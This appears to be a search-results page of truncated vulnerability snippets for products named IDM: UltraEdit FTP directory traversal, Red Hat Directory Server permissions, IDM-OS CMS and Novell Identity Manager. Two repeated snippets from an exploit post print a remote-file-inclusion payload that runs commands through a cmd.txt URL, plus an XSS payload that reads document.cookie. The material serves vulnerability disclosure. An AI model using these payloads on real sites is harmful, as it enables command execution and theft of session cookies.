CVE-2008-2795

The CVE refers to IDM Computer Solutions UltraEdit 14.00b where the FTP/SFTP client is vulnerable to directory traversal via a LIST response, enabling a remote server to create or overwrite arbitrary files using .. or ..\ sequences. Root cause is improper handling of directory components in the L...

Code injection

Red Hat Directory Server 8.0, when running on Red Hat Enterprise Linux, uses insecure permissions for the redhat-idm-console script, which allows local users to execute arbitrary code by modifying the script...

KLA10375 WLF vulnerability in UltraEdit

A directory traversal vulnerability was found in UltrEdit. By exploiting this vulnerability malicious users can create & overwrite arbitrary files. This vulnerability can be exploited remotely via a specially designed response. Original advisories - Related products UltraEdit CVE list CVE-2008-27...

server: insecure permissions on fedora/redhat-idm-console

Red Hat Directory Server 8.0, when running on Red Hat Enterprise Linux, uses insecure permissions for the redhat-idm-console script, which allows local users to execute arbitrary code by modifying the script...

IDM-OS 1.0 (download.php fileName) File Disclosure Vulnerability

Exploit for unknown platform in category web applications ================================================================ IDM-OS 1.0 download.php fileName File Disclosure Vulnerability ================================================================...

IDM-OS 1.0 - 'Filename' File Disclosure

--==+================================================================================+==-- --==+ idmos1.0 Remote File Discolousure Vulnerability +==-- --==+================================================================================+==-- Author: MhZ91 Title: Remote File Discolusure...

CVE-2007-6625

Technical details (affected product/version, root cause, remediation) are not publicly available in the provided connected documents. Monitor for updates. The CVE entry describes a denial-of-service via invalid format string in IDM 3.5.1, but no further specifics are given here.

idmos-phoenix cms Remote File inclusion

Hello,, IDM-OS idmos-phoenix cms Remote File inclusion Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] RFI core/aural.php?siteabsolutepath=http://localhost/cmd.txt?&cmd=dir Xss...

idmos-xss.txt

Hello,, IDM-OS idmos-phoenix cms Remote File inclusion Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] RFI core/aural.php?siteabsolutepath=http://localhost/cmd.txt?&cmd=dir Xss error.php?errmsg=alertdocument.cookie;...

CVE-2006-4803

The Fan-Out Linux and UNIX receiver scripts in Novell Identity Manager IDM 3.0.1 allows local users to execute arbitrary commands via unspecified vectors involving certain environment variables and "code injection."...

CVE-2006-4803

The CVE-2006-4803 entry concerns Novell Identity Manager (IDM) 3.0.1, where the Fan-Out Linux and UNIX receiver scripts allow local users to execute arbitrary commands via unspecified vectors involving certain environment variables and code injection. Impact is local command execution with comple...

CVE-2006-4506

The CVE-2006-4506 entry concerns Novell Identity Manager (IDM) 3.0.1, where idmlib.sh in the nxdrv component allows local users to run arbitrary commands via unspecified vectors, with potential involvement of the " (quote) and \ (backslash) characters and eval injection. Public sources in the NVD...